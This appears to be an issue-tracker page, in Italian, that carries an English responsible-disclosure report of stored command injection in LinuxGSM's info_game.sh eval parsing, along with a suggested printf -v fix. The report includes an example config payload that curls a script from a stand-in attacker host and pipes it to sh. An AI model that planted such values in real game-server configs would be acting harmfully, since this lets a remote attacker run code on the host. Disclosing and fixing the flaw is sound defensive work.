Security: game-server config values parsed via eval in info_game.sh - stored command injection
I maintainer di solito rispondono entro 1 giorno
Nessuno ha ancora preso questa issue.
Valutazione
- Difficoltà
- 3/5
- Tempo stimato
- 1-2 giorni
- Idoneità per principianti
- 72/100
Direzione di ricerca
Inizia in lgsm/modules/info_game.sh alla riga 34 e rivedi i pattern eval identici alle righe 59, 84, 109, 147, 185, 210, 233 e 258, quindi esamina i chiamanti intorno alle righe 963-964. Sostituisci l’uso di eval di parse-helper con un’assegnazione sicura, preservando i valori estratti, e verifica che i valori di config contenenti la sintassi di sostituzione dei comandi non vengano eseguiti.
Scritto dal modello di indicizzazione a partire dal testo della issue.
Descrizione
Security report (responsible disclosure)
Game-server config values parsed through eval in info_game.sh — stored command injection
Affected: lgsm/modules/info_game.sh:34 (identical pattern at lines 59, 84, 109, 147, 185, 210, 233, 258)
eval "${1}=\"$(sed -n '/^\<'"${2}"'\>/ { s/.*= *\"\?\([^"]*\)\"\?/\1/p;q }' "${servercfgparse}" | tr -d '\r')\""
The value extracted from the game's own config file is substituted into a string that eval then re-parses. A config value containing backticks or $( ) executes as a command.
Real callers feed attacker-reachable keys — e.g. info_game.sh:963-964 parse game.serverName / game.serverPassword from Battlefield-style .con configs. Anyone who can persist settings into the game server's config (in-game RCON admin, web panel, file manager, or a remote admin of the game itself) writes:
game.serverName "x$(curl http://attacker.tld/s|sh)"
The next ./gameserver start/monitor/details cycle parses the config and executes the payload as the LinuxGSM user — re-triggered forever.
Severity
Medium (same-user boundary: game process/remote-game-admin → host shell; becomes root-relevant in setups running LGSM cron as root). Defense-in-depth violation of CWE-78/CWE-95.
Suggested fix
Replace every parse-helper eval with safe dynamic assignment:
printf -v "${1}" '%s' "$(sed -n '/^\<'"${2}"'\>/ { s/.*= *\"\?\([^"]*\)\"\?/\1/p;q }' "${servercfgparse}" | tr -d '\r')"
No eval needed anywhere in these helpers.
- Lingua principale
- Shell
- Stelle
- 4.9k
- Fork
- 863
- Merge medio
- 1g 16h
- PR unite (30g)
- 45
Preparare l'ambiente
Avvia il container di sviluppo del progetto nel browser, con il tuo account GitHub.
- Nessun Dockerfile né file Docker Compose
- Ha un modello di pull request
- Leggi la guida per i contributori
Come iniziare
- Leggi tutta la issue e poi la guida ai contributi del progetto.
- Commenta sulla issue per dire che te ne occupi tu — evita che due persone facciano lo stesso lavoro.
- Fai un fork del repository e lavora su un branch.
- Apri una pull request che faccia riferimento al numero della issue.
Altre issue di GameServerManagers/LinuxGSM
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 84/100
GameServerManagers/LinuxGSM#4956 ·
I maintainer di solito rispondono entro 1 giorno
-
[iosserver] IOSoccer moved to a 64-bit server, srcds_run no longer existsForse già presa Una pull request collegata a questa issue è aperta o già unita. Apertaengine: source game: IOSoccer info: dependency info: query type: bug
Difficoltà 4/5 3-5 giorni Idoneità per principianti 45/100
GameServerManagers/LinuxGSM#5023 ·
I maintainer di solito rispondono entro 1 giorno
-
command: monitor type: feature
Difficoltà 3/5 Mezza giornata Idoneità per principianti 42/100
GameServerManagers/LinuxGSM#4995 ·
I maintainer di solito rispondono entro 1 giorno
-
type: feature
Difficoltà 3/5 Mezza giornata Idoneità per principianti 45/100
GameServerManagers/LinuxGSM#4994 ·
I maintainer di solito rispondono entro 1 giorno
-
command: console distro: Debian info: website regression: yes reproducible: always severity: medium type: bug
Difficoltà 3/5 1-2 giorni Idoneità per principianti 68/100
GameServerManagers/LinuxGSM#4962 · 1 commento ·
I maintainer di solito rispondono entro 1 giorno
Tutte le issue di GameServerManagers/LinuxGSM
Issue simili
-
Laptop display stays disabled after unplugging external monitor: FALLBACK output counted as externalAperta
Difficoltà 2/5 1-3 ore Idoneità per principianti 79/100
I maintainer di solito rispondono entro 1 giorno
-
Difficoltà 1/5 Meno di un'ora Idoneità per principianti 82/100
-
[Bug]: Three default prefs with JSON values are never set (override.sh escapes their quotes twice)Apertabug
Difficoltà 2/5 1-3 ore Idoneità per principianti 78/100
Floorp-Projects/Floorp#2913 ·
I maintainer di solito rispondono entro 1 giorno
-
agent-butler-finding agent-research-recommend bug ready-for-agent
Difficoltà 2/5 1-3 ore Idoneità per principianti 82/100
jordansmall/spindrift#5258 · 1 commento ·
I maintainer di solito rispondono entro 1 giorno
-
Copy as CLI command writes words.json with a heredoc that silently overwrites an existing fileApertaenhancement good first issue
Difficoltà 2/5 1-3 ore Idoneità per principianti 78/100
I maintainer di solito rispondono entro 1 giorno